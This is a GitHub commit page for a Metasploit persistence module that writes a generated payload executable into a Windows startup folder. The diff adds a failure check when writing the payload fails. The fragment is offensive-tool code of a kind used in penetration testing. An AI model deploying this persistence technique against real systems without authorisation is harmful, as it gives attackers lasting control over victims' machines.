We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent fd04f46 commit 85fa7e0Copy full SHA for 85fa7e0
modules/exploits/windows/persistence/startup_folder.rb
@@ -83,7 +83,7 @@ def install_persistence
83
payload_exe = generate_payload_exe
84
payload_pathname = folder + '\\' + payload_name + '.exe'
85
vprint_good("Writing payload to #{payload_pathname}")
86
- write_file(payload_pathname, payload_exe)
+ fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)
87
vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_pathname}")
88
@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"
89
end
0 commit comments